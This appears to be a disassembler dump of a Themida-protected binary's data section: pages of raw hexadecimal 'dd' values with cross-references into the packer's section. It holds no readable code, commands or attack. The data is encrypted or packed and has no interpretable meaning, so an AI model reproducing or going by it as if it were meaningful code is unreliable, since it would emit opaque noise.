		dd 0E8674D53h, 537B51F1h, 0BA488CBBh, 0E57EB73h, 6B17A631h
		dd 66337B13h, 0B721506Dh, 3D8F2CAAh, 99457660h,	85881253h
		dd 0CA88EC06h, 0C517A432h, 0FF716EDh, 0A72E072Ch, 52696D78h
		dd 0BC42330Ah, 0BEF12E23h, 0BD18258Fh, 59FB50FCh, 0E8D30339h
		dd 0E0F1BE96h, 0A6D52DD9h, 0D4803B9Bh, 3C6h, 7DE41D00h
		dd 49F5CA12h, 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h
		dd 2CD8E5F2h, 5703B61Fh, 8733884Ah, 0B864597Ah,	4EC8333h
		dd 89243C89h, 4C781E7h,	83000000h, 3C8704EFh, 91685C24h
		dd 8900004Dh, 0BB68242Ch, 89000020h, 0EC81240Ch, 4, 0BA241489h
		dd 61A6B11h, 545AD589h,	83240C8Bh, 895304C4h, 418F53EBh
		dd 0C8B5B08h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 242C8B5Ch, 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h
		dd 0FFFA0C63h, 8639CC3h, 714AB850h, 0C503061Ah,	0C0F9E0FFh
		dd 0AE2A63FEh, 562143E6h, 8C7069C2h, 9F161AEBh,	69D23C81h
		dd 1877059Dh, 0E8D64C8Ah, 6E954FE5h, 59815E5Eh,	1B072074h
		dd 0C52B7B0Ah, 8953578Eh, 95C7468Bh, 0BE9014FFh, 0AE85D63h
		dd 84000000h, 1B585DAAh, 268C4EE8h, 0F7816688h,	0F95ADBBDh
		dd 5ED8C281h, 0A0B80000h, 6867C4B3h, 1798h, 4DDF081h, 815E17D2h
		dd 3FCF61F7h, 0E932FF2Bh, 0Eh, 0D6AB66D8h, 0DA736421h
		dd 4F3FDBAFh, 805B9D8Dh, 0F3813BEDh, 0D7BDEF3h,	0B1D8B966h
		dd 7240F381h, 0EB8117C7h, 1470DE27h, 0CE9h, 2DB54F00h
		dd 232BF7B6h, 0AC7E0AF0h, 0FC1A892Ah, 0F504EA83h, 0B2850F4Eh
		dd 0E9FFFFFFh, 24h, 3B2D332Ah, 8 dup(0)
		dd 558E9h, 73CE6800h, 60E9061Ah, 68FFFA0Bh, 61A7459h, 0FA0B56E9h
		dd 75F468FFh, 4CE9061Ah, 0E6FFFA0Bh, 9A77C9F6h,	55328439h
		dd 0FEC3E7Dh, 0C4A1F3C6h, 1F58AA13h, 0FDC01799h, 0B603CEABh
		dd 6E518764h, 24973F1Ch, 383EC6D2h, 580C5A52h, 12046B66h
		dd 444CF8C5h, 2F5E6177h, 5359B224h, 51F1E86Dh, 6FC15981h
		dd 31792593h, 4EA89269h, 4D6E5379h, 5D19FF05h, 52D51F2h
		dd 91D392D6h, 618957E5h, 708D6FB5h, 76985806h, 68A6BFD4h
		dd 0EBB8F8D9h, 33191FEAh, 4758067Dh, 0F258871Fh, 34Bh
		dd 874A1709h, 0E7967C82h, 82AA51F1h, 0B7E63EEAh, 0FA68056Bh
		dd 0BD080E56h, 8B57E501h, 36EC263h, 8FB52868h, 68DBC1C7h
		dd 17EF556Bh, 6B692B11h, 7F173F55h, 694B3137h, 375F556Bh
		dd 0E090FE08h, 0B508CB98h, 7C82B109h, 5E994F76h, 11BDE55Bh
		dd 9FE79705h, 72B4A499h, 50875461h, 92BA3E6Dh, 62597D4Ah
		dd 36854D1Ah, 0BC1AF707h, 98A521FFh, 0F2DC351Dh, 383E4h
		dd 0C3FCE000h, 7E3F9471h, 38834F2Ch, 0EDCC09E6h, 0A419BE9Bh
		dd 119F1952h, 0C8A5F7C6h, 815EB009h, 39166857h,	0C0CC1E9Dh
		dd 5B4C3238h, 6560580Ch, 494F17FEh, 51F1E863h, 813E9A77h
		dd 0B6E57DD5h, 15E23EACh, 9076FCC3h, 0A451F1E7h, 18A32F7Ch
		dd 0BF323880h
dword_5B0000	dd 6B57EB7Bh, 0DB87349Eh, 0F3D05483h, 0FC44DCDFh, 4D706734h
					; DATA XREF: Themida_:00549FFCo
		dd 0F1A49A1h, 0C6A3F5C8h, 0BA00AC11h, 580C5AD9h, 4B8C7A5Ch
		dd 0D66EC672h, 0A4F2D8F8h, 0C5D3BD3Eh, 2F8h, 0FC4E716Bh
		dd 0B709B41Fh, 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h
		dd 7E533082h, 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0C5BD7BDh
		dd 89F0EB58h, 2E8B4A17h, 8E747A82h, 0A251F1E7h,	0A9B3E27Ah
		dd 834B933Bh, 0B74DE4BBh, 0C2483E1Eh, 0F28F563Ch, 0F5426A51h
		dd 6CB0DFDEh, 57EC22F9h, 4B53FF27h, 29AE587Eh, 0F850FC94h
		dd 1A385C9h, 8CAE580Dh,	0D390D5CEh, 0CC6EF8D2h,	66000001h
		dd 964B4F8Fh, 0E6155F9Dh, 0F7C412FFh, 64983E4Bh, 1E27FA46h
		dd 0E610F70Fh, 57653990h, 0FDD92BC3h, 12A72A8Fh, 225B327Ah
		dd 9D9903DFh, 0ECF2F827h, 57E5A359h, 0ADF39FC7h, 580682CBh
		dd 9E3300D6h, 0E8176F1Bh, 6E45F496h, 30522E91h,	1581B0F6h
		dd 0F8D97850h, 32AEh, 0FED9A600h, 56EECB0Ah, 0A5134027h
		dd 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h, 8A52E7A3h
		dd 6029E84h, 5B8AB258h,	0D9D676EFh, 0DF88F8h, 179F0000h
		dd 0E863494Fh, 4F7751F1h, 0FAC11520h, 5A79464Eh, 0AE293463h
		dd 8056630Fh, 0B026F33Bh, 6A72DC0Bh, 0DB87369Dh, 8D495483h
		dd 6C6DC2Eh, 4C51F1EDh,	47A6AA75h, 67B4F01Ch, 4CA4506Bh
		dd 42C4121Dh, 5F5A7791h, 2BC31BC7h, 0BD16E3h, 0BDCDFC54h
		dd 83CB73E1h, 0E72BE47Dh, 0D8FFCC57h, 0A32B6E5h, 2C32FAC2h
		dd 58090B46h, 65547D5Ah, 44939ECDh, 0ADDC3C9h, 0C9F15809h
		dd 3F07DF31h, 90B5339h,	103F6758h, 0DEBD205h, 3EA842CDh
		dd 5DE4F2DCh, 6000001h,	0BA97E9D6h, 7552A419h, 2F0C5E5Dh
		dd 0E4C113A6h, 3F78CAF3h, 1DA03779h, 0D6E3EECBh, 8E31A784h
		dd 44775F3Ch, 585EE6F2h, 580C5D72h, 12248B86h, 55DC39C5h
		dd 0C1B13F9Dh, 0BE14E129h, 0ACF951FDh, 5262912Ah, 85A6175h
		dd 42C4124Fh, 1AD02794h, 2551CBCDh, 470F57EFh, 0F2A35B41h
		dd 18476F51h, 8635A1AEh, 46EA5834h, 0F8DF8FEh, 511957E6h
		dd 6F1654Bh, 22517958h,	612E769Eh, 429A4675h, 97400D13h
		dd 2FFCD426h, 0A4E817A2h, 5806F0C2h, 0DA2C8F47h, 37E3DAFDh
		dd 0BF29h, 44946100h, 0F0DFC5CBh, 0CBF35806h, 131D0433h
		dd 0E9B1F9A5h, 1608D512h, 62911611h, 0EC709F1Eh, 0F7FDD557h
		dd 580D5011h, 0B965FD25h, 0D866DAB1h, 0ADA3DC43h, 0DE3406ADh
		dd 87B64E07h, 0F615A7Ch, 506D6A37h, 121D4CA4h, 434BF7C4h
		dd 0C38F757Bh, 7BA3580Dh, 2E99084Ch, 5BBF72E2h,	3C420A3Fh
		dd 95451056h, 813426Ah,	0D8A5EDCEh, 8393C2FBh, 438B30A6h
		dd 0F8F757Bh, 7BA39545h, 3DAE24Ch, 83612F80h, 0E3EE1DF0h
		dd 0B27FC7F2h, 0FD679623h, 0B04406A8h, 0C5F6E026h, 0E129C119h
		dd 0C458270Ah, 0E41362B3h, 2E34FCD4h, 95456A48h, 0FA05345Ch
		dd 0CA97DFDCh, 1680AF0Ch, 308h,	7DE45F00h, 49F5CA12h, 75219A3Ch
		dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh
		dd 8733884Ah, 0B864597Ah, 4EC8333h, 55242489h, 4BDh, 246C0100h
		dd 89525D04h
dword_5B0368	dd 4C281E2h, 83000000h,	148704EAh, 34895C24h, 0E1895124h
					; DATA XREF: Themida_:005534E4o
		dd 4C181h, 0E9830000h, 240C8704h, 242C895Ch, 43ECBF57h
		dd 38BE372Ch, 31313631h, 243C8BFEh, 8104C483h, 4ECh, 24248900h
		dd 4240481h, 5D000000h,	59BB5356h, 2933A40Fh, 5B04245Ch
		dd 8108458Fh, 0F590845h, 34FF33A4h, 0C4815D24h,	4, 5E2434FFh
		dd 4C481h, 20E90000h, 49FFFA06h, 335ACC31h, 0E759251Bh
		dd 41FCBC5Ah, 7776B807h, 0C503061Ah, 28D6E0FFh,	2ED5069Ch
		dd 32AA0E59h, 93640680h, 0A7426C7Fh, 0FA453796h, 0FE160544h
		dd 269D244Bh, 0F4044BD2h, 0C5001476h, 5F666771h, 28830905h
		dd 0C4264F09h, 9E757334h, 1D657C8Fh, 541C3150h,	5E85C0Eh
		dd 2000000h, 4E564F22h,	0CE9h, 4C6C6100h, 1694C375h, 0F99B098Eh
		dd 0E9805883h, 4CC081E2h, 66000068h, 0FF2BCA8Bh, 8BCE8B66h
		dd 820F381Ch, 3, 81D38B66h, 0B145BBC3h,	0ABC3814Eh, 805B6F21h
		dd 0F3818CF2h, 2D7E4F15h, 0E0B953FCh, 8F6337EDh, 0F08A3804h
		dd 0F60CEF81h, 0D28104F9h, 21149F7Ah, 0F608C781h, 0BA6604F9h
		dd 0FF81053Dh, 0FFFF985Ch, 26850Fh, 0BE90000h, 1F000000h
		dd 838CA18Ch, 1BA6E3C4h, 20E9696Eh, 80000000h, 90AC6CC1h
		dd 412A9947h, 9BE009A5h, 61928106h, 0E9D18B66h,	0FFFFFF83h
		dd 8660A79Eh, 53DFF07Eh, 5DB17DC7h, 0AEB121BFh,	3FA82556h
		dd 0FF39AC0Bh, 0A0ABA5B4h, 594C7B77h, 7889F62Ch, 0B8F43256h
		dd 95B13256h, 269DB727h, 0BED13256h, 0ABB13242h, 868CD0DCh
		dd 88DAB347h, 0F250DC53h, 38580CEFh, 3856C8E9h,	0FC48E5D7h
		dd 7FD02E9Eh, 0ABB37764h, 0DF393256h, 480C9B0h,	75CA9303h
		dd 0BAB1CB56h, 5DA2BE59h, 28BE3256h, 57B1325Bh,	0ABB13ABFh
		dd 88EF4356h, 70349D32h, 9CB1323Ch, 0BAB13258h,	0C3171E2Dh
		dd 95F25B55h, 96EBF8B0h, 0ABB1ED50h, 0C063D36h,	0EAD0E4DDh
		dd 6F0AC756h, 2A7B320Ch, 53580AC9h, 0CB13256h, 62D683E5h
		dd 311CCDD5h, 95BAE0D4h, 0EAB15399h, 1461B936h,	0BAEAC1CBh
		dd 0E8B13256h, 0C82BBB0Bh, 0B3141853h, 9E215877h, 3C987390h
		dd 3AF035Dh, 75B1325Bh,	8FF5C59Fh, 3DBDC894h, 0DBB872A3h
		dd 0BEB13288h, 0ABB13247h, 0C337FA59h, 0F6C577CEh, 53560765h
		dd 957DA677h, 3DB132DAh, 0EC998930h, 58B13237h,	0ABB12ADEh
		dd 0D5A2DB56h, 3BE33256h, 22DE573h, 0EAF41E26h,	62B95AA8h
		dd 0A80FEDC4h, 0ABB132D8h, 0CB4D3256h, 0D5B134BFh, 95BACD56h
		dd 0F5A52902h, 0BAD02F93h, 5DA2DB56h, 40953256h, 0FD93CD84h
		dd 0C9A44A5Dh, 690DA8E9h, 9BC00EA8h, 89B1323Ah,	0BF583256h
		dd 6CB13256h, 0B97C2423h, 0BFD13256h, 0ABB1325Fh, 0B74C2C40h
		dd 60ED4701h, 73586A27h, 3B13256h, 0A9B318C6h, 0AEB153E4h
		dd 0BEB132AAh, 0ABB13242h, 233B1956h, 16B7FE0Bh, 1958F2A5h
		dd 4ADAAD42h, 141906F4h, 0AE4D3256h, 51595256h,	1B13256h
		dd 449EF5BEh, 0EA333D01h, 2CB13256h, 0BAA5BB59h, 53593256h
		dd 0EBB13256h, 3CD9F54Dh, 0A61111CDh, 188E5BF1h, 0EAD06CF0h
		dd 64585256h, 0EB13256h, 591F25EBh, 7687F0Dh, 8930A8B4h
		dd 83288775h, 0D5B13DBEh, 2DAE556h, 40FB6BE8h, 765C3B3Eh
		dd 9AD0A2E0h, 765EB330h, 57D06B87h, 0ABB1CB56h,	0D5ADB559h
		dd 53D13256h, 4F2637AEh, 0BAB122BFh, 0E40C7C56h, 986C8B62h
		dd 50A0D3C6h, 115B986Dh, 0D5B1535Ah, 0EAB13DBFh, 0CE5B8756h
		dd 0E656C9CAh, 7F50910Ah, 0EA5D353Ah, 5F583256h, 55B13256h
		dd 8238823Fh, 0EA4D6694h, 62303D56h, 53B13256h,	5DB13244h
		dd 8057A588h, 46FC1160h, 0CF95FE6Dh, 51694542h,	0EAB15259h
		dd 75B8B759h, 0D13256h,	37EAE76Fh, 0AED05336h, 5D343D56h
		dd 0CBB13256h, 0D5B1B659h, 0B4E73256h, 75B13037h, 0BAB13256h
		dd 0D46F5522h, 845EC6D3h, 5741E111h, 0AA3C3D56h, 29B13256h
		dd 0EAB83581h, 75BD3255h, 0BAB03254h, 5E293270h, 86D4DBD7h
		dd 57B1CA37h, 0CBB132AEh, 0D5B153AEh, 98958836h, 1448549Ch
		dd 0BA493256h, 5DB1CE56h, 0AEB13ABFh, 0E5AB7056h, 16BA0729h
		dd 9CB13202h, 66BE3254h, 75B1325Bh, 82A78936h, 9E3070A0h
		dd 0DA9A31E7h, 1EB13237h, 0ABB13254h, 2EEA9844h, 8C820502h
		dd 0D5819E5Ah, 0BAB10086h, 5DA4B659h, 0BE583256h, 46B13256h
		dd 2C5958FFh, 93C6E10h,	0D015237Ah, 212DF99Eh, 70063D36h
		dd 5DB120BFh, 0DE021056h, 0CBBE5CBFh, 239A48F3h, 0E1B67477h
		dd 8B12E00Bh, 1E9536DFh, 3C69B330h, 5DBDDB5Eh, 33C53256h
		dd 0CE51D144h, 0FEBD0D08h, 0B42C693Ch, 0FE587AC4h, 89B13256h
		dd 52BAE8D3h, 0C9569457h, 0AE32006Bh, 7B6E4C6Fh, 364AB8A3h
		dd 40E96837h, 0F9B37FB2h, 1AFF7B06h, 31EB372Ah,	3B14AEC6h
		dd 0F6A113E8h, 0CAF2A437h, 0D426A137h, 4E1BA71Ah, 0E32753CBh
		dd 0B08D1D58h, 9257B330h, 5DB7DB68h, 89573256h,	94C34F82h
		dd 0F3EB53CBh, 0B46FB9C6h, 0EA3A6A0Ch, 7E586006h, 5DB13256h
		dd 0DE830FC2h, 71CF0B56h, 66BEC77Ah, 0CAD16006h, 0DD580359h
		dd 0DAB13256h, 297E1CFFh, 0E05A0833h, 0D4E9680Eh, 0CEB51612h
		dd 0EED7D0DCh, 0F3D023E9h, 8FD05336h, 0E5B16A0Eh, 75B133D3h
		dd 0B5D1C756h, 0E2BEE1E9h, 0AEB1539Ch, 57B139BFh, 9F44DE56h
		dd 540E1D03h, 8183965Fh, 79583256h, 9FB13256h, 0D9F74D3Bh
		dd 0FEE6BBBh, 57506F0Bh, 0ABA2DB56h, 1C23256h, 53490FEFh
		dd 5832B10Fh, 0E0B464F2h, 0DDD08184h, 0A1B1327Ah, 57B13ADAh
		dd 0A93C3D56h, 0B5B13256h, 61D75237h, 75B1538Fh, 0BAB137BFh
		dd 413B1B56h, 0AEB129DFh, 57BAB859h, 0CDD13256h, 0F3E2FCD7h
		dd 86738830h, 7AB13237h, 0BAB135DAh, 5C3C3D56h,	56B13256h
		dd 0BE4D3256h, 0ABB13246h, 0EC680FB6h, 0A2D814C9h, 0C8D44ED7h
		dd 7195AC8h, 5D483256h,	0A2313D56h, 0BEB13256h,	0ABB13251h
		dd 1BD72742h, 0E5F186E7h, 75B133D0h, 0BAB1CB56h, 5DBFB659h
		dd 0A7583256h, 71B13256h, 0C57AD096h, 63FAF34Fh, 62BE3256h
		dd 75B13258h, 0C26EB336h, 0DCF6BBB9h, 5DAD5485h, 57B1533Eh
		dd 0ABB13FBFh, 16969C56h, 9C61D698h, 0B920B03h,	0BAB1EFDDh
		dd 5DA7B259h, 2BBE3256h, 57B13246h, 0ABB139BFh,	0FF1EF156h
		dd 87C70AD1h, 0ADBFE7C4h, 536DB836h, 5DB1325Fh,	0C402DFB0h
		dd 3CA3228Ch, 0ABB153F3h, 0D5B13BBFh, 0FC274C56h, 0DC3C91BEh
		dd 0BAB15C48h, 5DBADB36h, 78B73256h, 0D9502500h, 530140F4h
		dd 0D33F3DE4h, 0E5B13256h, 75B132D5h, 0BAB15356h, 0B4B132A3h
		dd 0AEB13245h, 0E615F4Ah, 0C04F97B2h, 0E26503F7h, 83CA06E5h
		dd 9C96B4DDh, 0BAB1325Fh, 4295973Ch, 8923A57Ch,	0BEB132A1h
		dd 0ABB1325Fh, 71C682E1h, 69687506h, 89B13255h,	0BAB122BFh
		dd 0C23FA656h, 5C76E773h, 3DC246C4h, 8377F84Ch,	0B5B132DFh
		dd 34AB930h, 75B13251h,	34A89787h, 3C2A69DCh, 47B132AEh
		dd 57B1325Bh, 6904F028h, 0D3996F2Ch, 0F2B78216h, 9CB132B5h
		dd 0BAB1325Ah, 0CA6EB3ABh, 10A7B6A7h, 85FE4CA9h, 0ABB0B159h
		dd 0D5493256h, 5CD15256h, 75393D64h, 0DBB13256h, 52B13237h
		dd 0AEB133D1h, 5E58CB56h, 0FCB13256h, 0E931E351h, 0B8DD4DC5h
		dd 7F583256h, 0FBB13256h, 7DE20448h, 0C287DDDh,	58B132D5h
		dd 0ABB122DBh, 0D5BADB56h, 0D88B3256h, 5A244EC7h, 9BF3DA29h
		dd 0B4B132CEh, 0AEB13245h, 7D0AEA02h, 0D1B0F2CDh, 0DD5F084Ch
		dd 0B2F26AA3h, 7587AA47h, 0BABADB56h
		dd 0E7073256h, 22EC0496h, 29CA61C9h, 42B132C5h,	0D5B1325Eh
		dd 6C084DD0h, 7F7A1CE3h, 0BC583256h, 2EB13256h,	336B9BF7h
		dd 0AFB132F6h, 0AB483256h, 0C1313D56h, 0E5B13256h, 75B13CD3h
		dd 0BAB8DB56h, 67BD3256h, 5C1AD0B6h, 573ADFD8h,	0A158CB56h
		dd 0E7B13256h, 1DDA86C4h, 0F570FE10h, 0B5B1321Ah, 5DB121DCh
		dd 0A3323D56h, 0BEB13256h, 0ABB1325Eh, 58F0F084h, 0DAA91FB9h
		dd 7AD13256h, 0BAB130D2h, 0D67AB956h, 0AEB15391h, 57B6B359h
		dd 29BE3256h, 0D5B13257h, 61D152A3h, 75303D9Ch,	0DBB13256h
		dd 0CA038DE8h, 0AEB15322h, 57A5B859h, 0A4583256h, 97B13256h
		dd 130B8B1Dh, 60E1509Ah, 6B0F02DCh, 5D48204Fh, 0B2373D56h
		dd 37B13256h, 43678559h, 0D5B13247h, 0FC322405h, 5DBB70A5h
		dd 0BD3EF82Bh, 7529F18Fh, 0AED06BADh, 57B4DB56h, 0F6DD3256h
		dd 0D54597ECh, 0EABBDB56h, 7DA93256h, 0D55CD899h, 39C9760Ah
		dd 0AEB135BFh, 0BB1F3D56h, 0B3E7734Bh, 0C6583256h, 0DBB13256h
		dd 0B63EF41Dh, 0FC3DDC60h, 0C305650Dh, 5F025097h, 57B17A9Eh
		dd 0ABAFBD59h, 3CD13256h, 0EAB13242h, 145FB79Dh, 0F5AE1DE3h
		dd 0A52AB0BBh, 4B0FEE21h, 0E9CAA10Eh, 0CA688559h, 5F3A8236h
		dd 0EAB153AAh, 89B132A3h, 38BE3256h, 5DB13243h,	0AEBEB459h
		dd 5D583256h, 9EB13256h, 0F594E25Fh, 92BEBE3Bh,	9CB1325Fh
		dd 0BAB13244h, 0A7699FF3h, 2463293Ch, 0F673C0C1h, 8B225DBCh
		dd 0D5B1869Dh, 0EAB134BFh, 471A9056h, 0BAE2C96Eh, 5A3F3D56h
		dd 0CEB13256h, 37718559h, 0ABB15337h, 0D5B8DBA3h, 3FE73256h
		dd 0D55CA77Ch, 0BA3757A1h, 0E5D75256h, 0AED04601h, 0EFD75256h
		dd 23BE6138h, 0D5B1325Dh, 0EAB134BFh, 258C1356h, 0DB908A50h
		dd 3BD13256h, 4030CBDDh, 3C122121h, 5A305237h, 0FE610979h
		dd 0E5B13237h, 75B133D1h, 35BECA56h, 5DB13257h,	5BB132AEh
		dd 57BAB759h, 0CDD13256h, 5FBEF9DDh, 0EAB13256h, 7AB13237h
		dd 0BAB124D0h, 4D363D56h, 47B13256h, 57B1325Dh,	8C768231h
		dd 0EB328C84h, 0EAF7A625h, 723C3D56h, 0B5B13256h, 5DB133DCh
		dd 0AEB1CA56h, 57B4B759h, 0A4D13256h, 0D5D0C1E9h, 0A6035256h
		dd 75B122BFh, 5B1E7256h, 0FAA9C8A0h, 2927F39Ch,	0D347D102h
		dd 0ABB153CBh, 0D5B13EBFh, 0B305EA56h, 6C70E566h, 0FECD18B4h
		dd 3DB1324Eh, 4B5AB330h, 1158B35Dh, 0CAF363CBh,	0B3D13256h
		dd 8C4B9EEDh, 14CDE6EDh, 0BA493256h, 48303D56h,	47B13256h
		dd 57B13246h, 975DAD69h, 282F0A89h, 0E9AC54B4h,	0EA09D6A0h
		dd 0BA493256h, 5DB1CB56h, 0AEBABD59h, 31D13256h, 4930E3DDh
		dd 0E0B2460Dh, 53D15237h, 1CEE877Ah, 0BAB1B059h, 52D03256h
		dd 0AEB13FD2h, 57B9DB56h, 1C553256h, 12780AC6h,	0EAD062A0h
		dd 64323D56h, 53B13256h, 5DB1325Ah, 337115B3h, 1D0D7AC8h
		dd 8F0E5EECh, 5ABE3256h, 0EAB1325Eh, 75B3BE59h,	0DBD13256h
		dd 54583256h, 5B13256h,	31C914AAh, 4571F09Dh, 5CBE3256h
		dd 0EAB13257h, 7AB132AEh, 0BAB124DEh, 5DA0DB56h, 29623256h
		dd 259DD55Dh, 0E41C20BCh, 38664EDDh, 0EA8CA14Ch, 75B1CE56h
		dd 46B132AAh, 0D9BE3256h, 0AEB1324Bh, 57A6B259h, 0B9583256h
		dd 3FB13256h, 77BFB225h, 19FBF49Ah, 0E8EBB739h,	17619A93h
		dd 0A1B13220h, 57B13CD1h, 2CBE5256h, 0D5B13256h, 0EAB1B059h
		dd 75D03256h, 0BD353D56h, 52B13256h, 0AEB133D5h, 57B1C756h
		dd 0ABB123BFh, 3F6A2E56h, 0C2F32B37h, 7E956333h, 8EFBCC74h
		dd 0D6BED8E6h, 0AEB13257h, 0BEB132A3h, 0ABB13242h, 5E85B1EAh
		dd 0C57A1B35h, 0CF49DA03h, 0DE032364h, 2532529Ch, 47D13256h
		dd 57B13246h, 48813772h, 0C82BE4A4h, 0CB950579h, 700A8B7Ch
		dd 0DB4E8D59h, 0D3BE3256h, 0AEB1325Eh, 57B3B359h, 0CAD13256h
		dd 0C5583256h, 5EB13256h, 293A5D04h, 0BF5D8416h, 0F52A605Eh
		dd 5656C280h, 0DBBE3256h, 0ABB1325Ah, 0D5B135BFh, 901A9856h
		dd 47A080DAh, 0BA483256h, 5DB1C756h, 5BB132A3h,	57A3DB36h
		dd 4DE63256h, 0D54B7C38h, 774AF0EAh, 275CEDC1h,	23D9D798h
		dd 0F3018930h, 52B13237h, 57BDB259h, 29BE3256h,	0D5B13250h
		dd 0EAB1BD59h, 75B13256h, 43B132AFh, 0A5B132A3h, 28BE3256h
		dd 57B13247h, 0ABB13EBFh, 0C189A756h, 939E0DADh, 0FE589B68h
		dd 53B13250h, 5DB13244h, 0AA01E8Ah, 0CB7AFA6Ch,	1C63647Dh
		dd 4F4D6D68h, 0EAB1390Dh, 75B8B459h, 2D13256h, 37E98C3Dh
		dd 52D05336h, 5B583256h, 5FB13256h, 959A1457h, 1047D3F9h
		dd 757B954Eh, 0BABDDB56h, 0C91F3256h, 3A03D345h, 0A26DB651h
		dd 0ABB16CF2h, 0D5BDB859h, 0ED583256h, 22B13256h, 1F5F7353h
		dd 5DB10DF6h, 0AEB134BFh, 0D759FF56h, 0A4C8F7FBh, 0D5B133D8h
		dd 0EAB1CE56h, 75B137BFh, 65BCDA56h, 5DB1DBD5h,	0AEB123BFh
		dd 7F2D2856h, 0E13547D9h, 0BA769A24h, 870CA820h, 75B19E11h
		dd 0BAB0B459h, 5D483256h, 0AEA3DB56h, 0F41D3256h, 0F0CE6AA7h
		dd 0BAE54128h, 2394390Bh, 0BC75A37Ch, 0B5D13256h, 5DB12ADBh
		dd 0AEA3DA56h, 0BA983256h, 960C58BAh, 44C6A182h, 0AAE48559h
		dd 0F7AA087Fh, 0BABFDB08h, 76703256h, 439BEF53h, 736786F9h
		dd 193AB700h, 3CB13237h, 0EAB13253h, 1BB4D054h,	43B13265h
		dd 5D493256h, 0AEB1CE56h, 0E752B236h, 0A4B13237h, 0D5B122D2h
		dd 0E03D3D56h, 9CB13256h, 0BAB13253h, 5786103h,	47B132B1h
		dd 57B13246h, 9EEB67Eh,	33634DCFh, 7C1887E5h, 2D37E089h
		dd 0DAD13256h, 5DB1B159h, 45313256h, 8A315397h,	0ABB15309h
		dd 0D5B6BF59h, 61BE3256h, 75B13257h, 0BAB9DBAAh, 4F573256h
		dd 85F76EC7h, 57B177F6h, 0A4B132AFh, 0D5B139D9h, 0EAB7DB56h
		dd 0A7A33256h, 0F900856Dh, 56583256h, 76B13256h, 4ECE14CBh
		dd 9B3086D6h, 0D5B1D279h, 0E5B132AFh, 75B135D9h, 0BB363D56h
		dd 0A4B13256h, 0BC583256h, 12B13256h, 4B9925C1h, 0E1A0EE96h
		dd 1F2A3707h, 210BD0DFh, 0DAB13282h, 5DB13CBEh,	0DF11E556h
		dd 3B94F6BBh, 0ACCFB5C6h, 0B325A908h, 8BEEF5DDh, 13D13256h
		dd 7B31EADDh, 5DB153F1h, 0AEB134BFh, 4B8D0956h,	0A4EE832Dh
		dd 0D5B133D3h, 0EAB1CB56h, 0AC0E3D36h, 0BAB139BFh, 0DD6C7956h
		dd 0C9F34C1Eh, 0F066541Ah, 52B13237h, 58BE3256h, 0EAB13257h
		dd 65373DAFh, 53B13256h, 5DB1325Dh, 207EFE62h, 0F8538E76h
		dd 0ABB89EE5h, 0C6383D56h, 3B13256h, 75B13258h,	0A189E087h
		dd 0A76319DEh, 0C94A2EEAh, 57B10379h, 0ABB6DA36h, 0E52D3256h
		dd 0B4B3D666h, 75333DFEh, 0E4B13256h, 52D064E6h, 0AEB124D3h
		dd 57A0DB56h, 0FBE93256h, 0E9CED13Dh, 8F8CA6B6h, 8AA03B02h
		dd 0BAB3D97Dh, 5DB1CB56h, 0AEB0BD59h, 57493256h, 0AA353D56h
		dd 29B13256h, 0EAA0DB36h, 0CD6E3256h, 0E22EB906h, 0FD06C63Bh
		dd 8A5250C7h, 31CF1F9Bh, 14A2FCD7h, 0DAB13237h,	0EAB12BDEh
		dd 75A5DB56h, 0C8283256h, 1A725C83h, 4C702C84h,	0A4518394h
		dd 0B62795B2h, 0D5B128E5h, 0EAB138BFh, 277AE456h, 70E4D3BAh
		dd 5D26D741h, 0AEB1CA56h, 9C305436h, 0AE581F68h, 1BB13256h
		dd 0D3A23E8Dh, 9CB13237h, 0BAB13259h, 0A255B981h, 0D18A6852h
		dd 2CDBE852h, 0ABA4E4A1h, 0D5B8DB56h, 653F3256h, 0CF551AADh
		dd 46195B10h, 0D8BE3256h, 0AEB1325Ah, 57B7B559h, 2FBE3256h
		dd 0D5B13256h, 0E4583256h, 47B13256h, 0C8FFE418h, 53F176B2h
		dd 64C2E60Bh, 37B13273h, 2A66B930h, 7BF026B0h, 0EAB1530Ch
		dd 9C305436h, 7731CA57h
		dd 4E58539Ah, 0DDB13256h, 27A95FA2h, 0D4DC1771h, 8C5CB610h
		dd 0B7EC9309h, 75B1E6B7h, 413A5436h, 5DB138BFh,	4E9A3456h
		dd 5350FBBh, 0CA9E4C89h, 3DD13256h, 0EAB13258h,	48549763h
		dd 0F4A7661Ah, 0C380B9E4h, 26BE9662h, 57B13256h, 0AD58520Ch
		dd 56B13256h, 6CA7CEADh, 75383D92h, 0DBB13256h,	3DB13237h
		dd 0C8D1F8E4h, 36D1E3DDh, 0ABB15337h, 0D5A7BC59h, 0FB583256h
		dd 50B13256h, 4DF6FCF2h, 2EAB7FD4h, 0EB00D366h,	6E307DD5h
		dd 0AB493256h, 0D5BDDB56h, 56F73256h, 95DE53FEh, 949B96D7h
		dd 5DB119E4h, 0AEB13CBFh, 32546F56h, 0B96BAE1Ah, 4B988E2Bh
		dd 0EAA9F2EAh, 75B1CA56h, 0BAB120BFh, 9DD36E56h, 0FF250618h
		dd 661B4233h, 18D553B9h, 0D5D23065h, 0EB383D56h, 89B13256h
		dd 0BA443256h, 5DB1CA56h, 0AEB121BFh, 0D14E6456h, 0C8BEAF75h
		dd 6AED0A5Bh, 0BF172782h, 0AC90977Fh, 35BE3256h, 5DB1324Eh
		dd 0AEB121BFh, 0D2825E56h, 9390D010h, 0A5FFF696h, 93DAA40Bh
		dd 8722D354h, 0A8583256h, 0F8B13256h, 0E4A58B0Bh, 0D8B1C34h
		dd 9E66E6C7h, 5256725h,	0E53E3D50h, 9CB13256h, 0BAB1325Ch
		dd 768EA5ABh, 8C8357FDh, 57B1BC89h, 0ABB122BFh,	59FBD456h
		dd 0C8CCA234h, 60293466h, 6B525754h, 0A8B13292h, 0BC583256h
		dd 8B13256h, 0A0680D43h, 3227797h, 0F2F0B52Fh, 0DAC0C002h
		dd 0DAB1321Eh, 5DB2B859h, 63313256h, 57B15394h,	0ABB122BFh
		dd 0F0823E56h, 0C32A6B77h, 0F2D8EDA5h, 2FF326A7h, 0B4B13283h
		dd 0AEB13244h, 1B6F52D9h, 83B8CFF9h, 8974FC24h,	19463CECh
